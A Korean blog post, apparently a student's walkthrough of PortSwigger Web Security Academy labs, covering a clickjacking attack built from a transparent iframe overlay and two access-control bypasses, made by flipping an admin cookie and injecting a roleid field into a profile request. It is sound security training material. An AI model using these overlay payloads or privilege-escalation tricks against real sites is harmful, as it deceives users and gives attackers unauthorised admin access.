Clickjacking&AccessControl

지선·2023년 5월 9일

이비전

목록 보기
6/10

Clickjacking이란?

사용자가 미끼 웹사이트를 통하여 다른 콘텐츠를 클릭해 숨겨진 웹사이트에서 실행 가능한 컨텐츠를 클릭하도록 속이는(오버레이) 인터페이스 기반 공격

iframe 태그 사용

  1. 적절한 너비 및 높이 위치 값을 사용해 미끼 웹사이트와 대상 작업이 정확하게 겹치도록 브라우저 내에 배치
  2. 절대 및 상대 위치 값: 웹사이트의 화면 크기, 브라우저 유형 및 플랫폼에 관계없이 미끼와 정확하게 겹치도록 하기 위해 사용
  3. Z-색인: iframe 및 웹 사이트 레이어의 스택 순서를 결정
  4. 불투명도 값: iframe 컨텐츠가 사용자에게 투명하도록 0.0(또는 0.0에 가까운 값)으로 정의
  5. 브라우저 클릭재킹 방지: 임계값 기반 iframe 투명도 감지를 적용가능(예: Chrome 버전 76에는 이 동작이 포함되지만 Firefox에는 포함되지 않음)
  6. 공격자는 보호 동작을 트리거하지 않고 원하는 효과를 얻을 수 있도록 불투명도 값을 선택
<head>
	<style>
		#target_website {
			position:relative;
			width:128px;
			height:128px;
			opacity:0.00001;
			z-index:2;
			}
		#decoy_website {
			position:absolute;
			width:300px;
			height:400px;
			z-index:1;
			}
	</style>
</head>
...
<body>
	<div id="decoy_website">
	...decoy web content here...
	</div>
	<iframe id="target_website" src="https://vulnerable-website.com">
	</iframe>
</body>

portswigger에서 보여주는 예시

1. Basic clickjacking with CSRF token protection


wiener:peter를 통해 로그인하면 된다.
이 랩에는 로그인 기능과 CSRF 토큰으로 보호되는 계정 삭제 버튼이 포함되어 있는데 사용자는 미끼 웹 사이트에서 "클릭"이라는 단어를 표시하는 요소를 클릭한다.
계정 페이지를 구성하고 사용자가 계정을 삭제하도록 속이는 HTML을 만들면 해결된다고 한다.

우선 로그인해준 후, go to exploit serber를 통해 exploit server로 이동해준다.

Body를 바꿔준 후 Store하고 exploit 서버로 가면
바뀐 것을 확인할 수 있다. 여기에 iframe 태그를 통하여 투명하게 해서? 삭제 버튼을 만들면 될 것 같다.
위에 있는 코드를 가져와서
https://signes.tistory.com/entry/div-%EB%B0%8F-iframe-%EC%82%AC%EC%9A%A9%EB%B2%95
이것을 보면서 수정했다

<style>
	iframe{
		position:relative;
		width:1000px;
		height:1000px;
		opacity:0.5;
		z-index:2;
		}
	div{
		position:absolute;
		top:500px;
		left:100px;
		z-index:1;
		}
</style>
<div>click</div>
<iframe src="https://0aab00dc04dbe0d780e4171f006600ce.web-security-academy.net/my-account"></iframe>       

이렇게 해주면

이렇게 보인다.
click위치를 교묘하게 숨긴 후에 opacity를 통해 투명하게 만들어준다.

그럼 성공!

얼렁뚱땅..ㅠ

2. User role controlled by request parameter

이번건 접근제어 문제다.


/admin 을 통해 위조 가능한 쿠키를 사용해 관리자를 식별하는 관리자 패널이 있다.
관리자 패널에 액세스하여 carlos 사용자를 삭제하면 된다.

우선 /admin을 url에 쳐보면

admin계정으로 로그인한 경우에만 접근이 가능하다고 한다.

wiener:peter로 먼저 접근해보자
머.. 이메일 설정하는 것만 있고.. 할 수 있는게 없길래..

냅다 개발자도구 열어서 코드부터 admin있는지 살펴봤다.
element에는 없어서 cookie를 열어봤더니 admin이 false로 되어있다.


이걸 트루로 바꾼 후에 새로고침을 하면

admin panel이 추가되었다!

들어가서 삭제하면 성공!

3. User role can be modified in user profile

이것도 접근제어 문제!

아까랑 비슷한데 roleid가 2인 사용자만 접근할 수 있는 것 같다.

아까랑 똑같이 /admin url에 넣고 엔터치면

이 문구가 나온다.

개발자 도구를 열어봐도 잘 모르겠어서 BurpSuite로 열어주었다.

repeater에 보내준 후 send 해보니까

roleid가 1이라고 되어있다. 이것만 2로 바꾸면 풀릴 것 같다.


그래서 email밑에 roleid가 2라고 추가해줬더니 바꼈다

우클 통해
show response in browser을 눌러주니까 링크가 뜬다


copy해서 열어주니까 된다!!! 첨써보는데^^ 다행이군

이번에도 admin panel이 뜬다.

calos 삭제해주면

성공

profile
긍정왕되기

0개의 댓글